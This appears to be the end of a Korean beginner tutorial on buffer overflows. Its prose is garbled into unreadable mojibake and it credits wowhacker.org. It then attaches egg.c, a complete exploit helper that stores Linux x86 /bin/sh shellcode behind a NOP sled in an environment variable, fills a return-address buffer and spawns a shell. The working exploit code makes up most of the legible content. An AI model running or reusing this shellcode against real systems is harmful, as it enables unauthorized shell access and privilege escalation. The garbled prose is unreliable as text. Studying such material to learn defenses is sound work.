Ãë¾àÇÑ ÇÁ·Î±×·¥À» ¸¸µé¾î ³õ°í ±×°É ±ú´Â ¿¬½ÀÀ» ÇÏ°í ÀÖ½À´Ï´Ù. bof ¸¦ °øºÎÇϽø鼭 Áú¹®Àº Á¦ °Ô½ÃÆÇ¿¡ ¿Ã·ÁÁÖ½Ã¸é µË´Ï´Ù. ½ÇÁ¦·Î ¸¹Àº »ç¶÷µéÀÌ bof ¿¡ ´ëÇؼ­ ¸¹Àº ÀÌÇظ¦ ÇÏ°í ÀÖÁö ¾Ê±â ¶§¹®¿¡ irc ¿¡¼­ ¹°¾îµµ ¿Ã¹Ù¸¥ ´ë´äÀ» ¾ò±â°¡ Èûµì´Ï´Ù. ¹°·Ð Àúµµ ¸¹Àº ÀÌÇظ¦ ¸øÇÏ°í ÀÖ½À´Ï´Ù. °Ô½ÃÆÇ¿¡ Áú¹®ÀÌ ¿Ã¶ó¿Â´Ù¸é °øºÎ¸¦ ÇÏ°í ´äº¯À» µå·Á¾ßÇÏÁÒ. È÷È÷ ÀÌ ¹®¼­´Â bof ¿¡ ´ëÇؼ­ Àß ¸ð¸£´Â Ãʺ¸ÀÚ¸¦ À§Çؼ­ ¸¸µé¾îÁø ¹®¼­·Î ½ÉµµÀÖ´Â ³»¿ëÀ» ´Ù·çÁø ¸øÇß½À´Ï´Ù. ¸¶Áö¸·À¸·Î ÇÒ ¸» 'ÀÌ ¹®¼­ÀÇ ÀúÀÛ±ÇÀº Àú¿¡°Ô ÀÖÁö¸¸ ±×³É ¸¾´ë·Î ¾²¼Åµµ µË´Ï´Ù.' 'Ç×»ó µµ¿òÀ» Áֽô wowhacker.org ¿¡ °¨»çµå¸³´Ï´Ù.' '´Ù¸¥ bof ¹®¼­µé°ú °°ÀÌ ¾Ë·¾¿ø ¹®¼­º£³¢±â°¡ µÇ¾î¹ö·È³×¿ä ÇÏÇÏ' 'ÀÌ ¹®¼­¿¡ Ʋ¸° Á¡ÀÌ ÀÖ´Ù¸é ¸ÞÀÏ Áֽñ⠹ٶø´Ï´Ù.' beist@hanmail.net ÆÄÀÏ÷ºÎ egg.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; /* linux x82 */ unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); }